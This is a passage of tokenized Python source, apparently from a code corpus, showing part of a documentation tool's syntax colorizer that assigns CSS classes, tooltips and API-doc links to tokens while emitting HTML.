",", " ", "dete", "rmin", "e", " ", "its", " ", "css", " ", "class", " ", "and", " ", "whe", "ther", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shou", "ld", " ", "link", " ", "to", " ", "a", " ", "url", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "css", "\\u", "class_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tooltip_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "onc", "lick", "_", "=_", "uid_", "=_", "targets_", "=_", "None_", "#", " ", "these", " ", "3", " ", "are", " ", "used", " ", "tog", "ether", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Is", " ", "this", " ", "token", " ", "the", " ", "class", " ", "name", " ", "in", " ", "a", " ", "class", " ", "definit", "ion", "?", " ", " ", "If_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", ",", " ", "then", " ", "make", " ", "it", " ", "a", " ", "link", " ", "back", " ", "int", "o", " ", "the", " ", "API", " ", "docs", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "i_", ">=_", "2_", "and_", "line_", "[_", "i_", "-_", "2_", "]_", "[_", "1_", "]_", "==_", "'", "class", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "base", "\\u", "list_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "DEF", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def", "\\u", "name_", "=_", "tok", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def", "\\u", "type_", "=_", "'", "class", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "func", "'_", "not_", "in_", "self_", "._", "context", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cls", "\\u", "name_", "=_", "self_", "._", "context", "\\u", "name_", "(_", "def", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "name2", "url_", "(_", "cls", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "self_", "._", "mark", "\\u", "def_", "(_", "s_", ",_", "cls", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "startin", "g", "\\u", "def", "\\u", "block_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Is", " ", "this", " ", "token", " ", "the", " ", "function", " ", "name", " ", "in", " ", "a", " ", "function", " ", "def", "?", " ", " ", "If_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", ",", " ", "then", " ", "make", " ", "it", " ", "a", " ", "link", " ", "back", " ", "int", "o", " ", "the", " ", "API", " ", "docs", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "i_", ">=_", "2_", "and_", "line_", "[_", "i_", "-_", "2_", "]_", "[_", "1_", "]_", "==_", "'", "def", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "param", "\\u", "list_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "DEF", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def", "\\u", "name_", "=_", "tok", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def", "\\u", "type_", "=_", "'", "func", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "func", "'_", "not_", "in_", "self_", "._", "context", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cls", "\\u", "name_", "=_", "self_", "._", "context", "\\u", "name_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "func", "\\u", "name_", "=_", "self_", "._", "context", "\\u", "name_", "(_", "def", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "name2", "url_", "(_", "cls", "\\u", "name_", ",_", "def", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "self_", "._", "mark", "\\u", "def_", "(_", "s_", ",_", "func", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "startin", "g", "\\u", "def", "\\u", "block_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "indent", ",", " ", "update", " ", "the", " ", "indent", "s", " ", "list", " ", "(", "whi", "ch", " ", "we", " ", "use_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "keep", " ", "track", " ", "of", " ", "indent", "ation", " ", "string", "s", ")", " ", "and", " ", "the", " ", "context_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "list", ".", " ", " ", "If", " ", "this", " ", "indent", " ", "is", " ", "the", " ", "start", " ", "of", " ", "a", " ", "class", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "function", " ", "def", " ", "block", ",", " ", "then", " ", "self", ".", "def", "\\u", "name", " ", "will", " ", "be", " ", "its", " ", "name", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "other", "wis", "e", ",", " ", "it", " ", "will", " ", "be", " ", "Non", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tok", "type_", "==_", "token_", "._", "INDENT", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "indent", "s_", "._", "append_", "(_", "tok", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "context_", "._", "append_", "(_", "self_", "._", "def", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "context", "\\u", "types_", "._", "append_", "(_", "self_", "._", "def", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Whe", "n", " ", "we", " ", "ded", "ent", ",", " ", "pop", " ", "the", " ", "last", " ", "element", "s", " ", "off", " ", "the", " ", "indent", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "list", " ", "and", " ", "the", " ", "context", " ", "list", ".", " ", " ", "If", " ", "the", " ", "last", " ", "context", " ", "element_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "a", " ", "name", ",", " ", "then", " ", "we", "'", "re", " ", "ending", " ", "a", " ", "class", " ", "or", " ", "function", " ", "def_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "block", ";", " ", "so", " ", "write", " ", "an", " ", "end", "-", "div", " ", "tag", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tok", "type_", "==_", "token_", "._", "DED", "ENT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "indent", "s_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "context", "\\u", "types_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "context_", "._", "pop_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ende", "d\\u", "def", "\\u", "blocks_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "token", " ", "contain", "s", " ", "whitespace", ",", " ", "then", " ", "don", "'", "t", " ", "bot", "her", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "it", " ", "a", " ", "css", " ", "tag", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tok", "type_", "in_", "(_", "None_", ",_", "tokenize_", "._", "NL", "_", ",_", "token_", "._", "NEWLINE", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "token_", "._", "END", "MARKER", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "the", " ", "token", " ", "is", " ", "a", " ", "keyw", "ord", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tok", "type_", "==_", "token_", "._", "NAME_", "and_", "keyword_", "._", "isk", "ey", "word_", "(_", "tok", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "KEYWORD", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "in", "\\u", "base", "\\u", "list_", "and_", "tok", "type_", "==_", "token_", "._", "NAME_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "BASE", "CLASS", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "in", "\\u", "param", "\\u", "list_", "and_", "tok", "type_", "==_", "token_", "._", "NAME_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "in", "\\u", "param", "\\u", "default_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "PARAM", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Class", "/", "function", " ", "docstr", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "def", "\\u", "name_", "and_", "line_", "[_", "i_", "-_", "1_", "]_", "[_", "0_", "]_", "==_", "token_", "._", "INDENT", "_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "is", "\\u", "docstring_", "(_", "line_", ",_", "i_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "DOCS", "TRING", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Modul", "e", " ", "docstr", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "at", "\\u", "module", "\\u", "top_", "and_", "self_", "._", "is", "\\u", "docstring_", "(_", "line_", ",_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "DOCS", "TRING", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "decorat", "ors", "??", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "tok", "type_", "==_", "token_", "._", "NAME_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "(_", "i_", ">_", "0_", "and_", "line_", "[_", "i_", "-_", "1_", "]_", "[_", "1_", "]_", "==_", "'@'_", ")_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "i_", ">_", "1_", "and_", "line_", "[_", "i_", "-_", "1_", "]_", "[_", "0_", "]_", "==_", "None_", "and_", "line_", "[_", "i_", "-_", "2_", "]_", "[_", "1_", "]_", "==_", "'@'_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "DECO", "RAT", "OR", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "has", "\\u", "decorators_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "it", "'", "s", " ", "a", " ", "name", ",", " ", "try", " ", "to", " ", "link", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tok", "type_", "==_", "token_", "._", "NAME_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "have", " ", "a", " ", "variab", "le", " ", "named", " ", "`", "tok", "text", "`", " ", "in", " ", "the", " ", "current_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "context", ",", " ", "then", " ", "link", " ", "to", " ", "tha", "t", ".", " ", " ", "Not", "e", " ", "tha", "t", " ", "if", " ", "we", "'", "re", " ", "inside_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "function", ",", " ", "then", " ", "tha", "t", " ", "function", " ", "is", " ", "our", " ", "context", ",", " ", "not_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "namespace", " ", "tha", "t", " ", "contain", "s", " ", "it", ".", " ", "[", "xx", "]", " ", "this", " ", "isn", "'", "t", " ", "alw", "ays_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "right", " ", "thing", " ", "to", " ", "do", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "self_", "._", "GUE", "SS", "\\u", "LINK", "\\u", "TARGET", "S_", "and_", "self_", "._", "doc", "index_", "is_", "not_", "None_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "self_", "._", "url", "\\u", "func_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "context_", "=_", "[_", "n_", "for_", "n_", "in_", "self_", "._", "context_", "if_", "n_", "is_", "not_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "self_", "._", "doc", "index_", "._", "get", "\\u", "vard", "oc_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Dot", "ted", "Name_", "(_", "self_", "._", "module", "\\u", "name_", ",_", "*_", "context_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "container_", ",_", "Names", "pace", "Doc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "doc_", "=_", "container_", "._", "variables_", "._", "get_", "(_", "tok", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "doc_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "url_", "=_", "self_", "._", "url", "\\u", "func_", "(_", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tooltip_", "=_", "str_", "(_", "doc_", "._", "canonical", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ot", "her", "wis", "e", ",", " ", "check", " ", "the", " ", "name", "\\u", "to", "\\u", "docs", " ", "index", " ", "to", " ", "see", " ", "what_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "else", " ", "this", " ", "name", " ", "mig", "ht", " ", "refer", " ", "to", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "url_", "is_", "None_", "and_", "self_", "._", "name", "\\u", "to", "\\u", "docs_", "is_", "not_", "None_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "self_", "._", "url", "\\u", "func_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "docs_", "=_", "self_", "._", "name", "\\u", "to", "\\u", "docs_", "._", "get_", "(_", "tok", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "docs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "tooltip_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "[_", "str_", "(_", "d_", "._", "canonical", "\\u", "name_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "d_", "in_", "docs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "docs_", ")_", "==_", "1_", "and_", "self_", "._", "GUE", "SS", "\\u", "LINK", "\\u", "TARGET", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "url_", "=_", "self_", "._", "url", "\\u", "func_", "(_", "docs_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "uid_", ",_", "onc", "lick", "_", ",_", "targets_", "=_", "self_", "._", "doc", "link_", "(_", "tok", "text_", ",_", "docs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "all", " ", "other", " ", "token", "s", ",", " ", "look", " ", "up", " ", "the", " ", "CS", "S", " ", "class", " ", "to", " ", "use_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "based", " ", "on", " ", "the", " ", "token", "'", "s", " ", "type", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tok", "type_", "==_", "token_", "._", "OP_", "and_", "tok", "text_", "in_", "self_", "._", "CS", "S", "\\u", "CLASSES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "tok", "text_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "token_", "._", "tok", "\\u", "name_", "[_", "tok", "type_", "]_", "in_", "self_", "._", "CS", "S", "\\u", "CLASSES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "css", "\\u", "class_", "=_", "self_", "._", "CS", "S", "\\u", "CLASSES_", "[_", "token_", "._", "tok", "\\u", "name_", "[_", "tok", "type_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "css", "\\u", "class_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "our", " ", "status", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tok", "text_", "==_", "':'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "base", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "param", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tok", "text_", "==_", "'='_", "and_", "in", "\\u", "param", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "param", "\\u", "default_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "in", "\\u", "param", "\\u", "default_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tok", "text_", "in_", "(_", "'('_", ",_", "'['_", ",_", "'{'_", ")_", ":_", "in", "\\u", "param", "\\u", "default_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tok", "text_", "in_", "(_", "')'_", ",_", "']'_", ",_", "'}'_", ")_", ":_", "in", "\\u", "param", "\\u", "default_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tok", "text_", "==_", "','_", "and_", "in", "\\u", "param", "\\u", "default_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "in", "\\u", "param", "\\u", "default_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "this", " ", "token", ",", " ", "with", " ", "appropr", "iate", " ", "coloriz", "ation", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tooltip_", "and_", "self_", "._", "ADD", "\\u", "TOOL", "TIP", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "toolt", "ip", "\\u", "html_", "=_", "'", " ", "title", "=\"", "%", "s", "\"'_", "%_", "tooltip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "toolt", "ip", "\\u", "html_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "css", "\\u", "class_", ":_", "css", "\\u", "class", "\\u", "html_", "=_", "'", " ", "class", "=\"", "%", "s", "\"'_", "%_", "css", "\\u", "class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "css", "\\u", "class", "\\u", "html_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "onc", "lick", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "targets_", ":_", "target", "s", "\\u", "html_", "=_", "'", " ", "target", "s", "=\"", "%", "s", "\"'_", "%_", "targets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "target", "s", "\\u", "html_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "(_", "'<", "tt", " ", "id", "=\"", "%", "s", "\"%", "s", "%", "s", "><", "a", "%", "s", "%", "s", " ", "href", "=\"", "#\"", " ", "onc", "lick", "=\"", "%", "s", "\">'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "uid_", ",_", "css", "\\u", "class", "\\u", "html_", ",_", "target", "s", "\\u", "html_", ",_", "toolt", "ip", "\\u", "html_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "css", "\\u", "class", "\\u", "html_", ",_", "onc", "lick", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "url_", ",_", "unicode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "url_", "=_", "url_", "._", "encode_", "(_", "'", "ascii", "'_", ",_", "'", "xml", "char", "refre", "place", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "+=_", "(_", "'<", "a", "%", "s", "%", "s", " ", "href", "=\"", "%", "s", "\">'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "toolt", "ip", "\\u", "html_", ",_", "css", "\\u", "class", "\\u", "html_", ",_", "url_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "css", "\\u", "class", "\\u", "html_", "or_", "toolt", "ip", "\\u", "html_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "+=_", "'<", "tt", "%", "s", "%", "s", ">'_", "%_", "(_", "toolt", "ip", "\\u", "html_", ",_", "css", "\\u", "class", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i_", "==_", "len_", "(_", "line_", ")_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "+=_", "'", " ", "</", "tt", ">'_", "#", " ", "Closes", " ", "<", "tt", " ", "class", "=\"", "py", "-", "line", "\">", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "+=_", "cgi_", "._", "escape_", "(_", "tok", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "s_", "+=_", "self_", "._", "add", "\\u", "line", "\\u", "numbers_", "(_", "cgi_", "._", "escape_", "(_", "tok", "text_", ")_", ",_", "css", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "(_", "tok", "text_", ",_", "css", "\\u", "class_", ",_", "tok", "text_", "._", "encode_", "(_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "onc", "lick", "_", ":_", "s_", "+=_", "\"<", "/", "a", "><", "/", "tt", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elif_", "url_", ":_", "s_", "+=_", "'<", "/", "a", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elif_", "css", "\\u", "class", "\\u", "html_", "or_", "toolt", "ip", "\\u", "html_", ":_", "s_", "+=_", "'<", "/", "tt", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "ADD", "\\u", "DEF", "\\u", "BLOCKS", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "ende", "d\\u", "def", "\\u", "blocks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 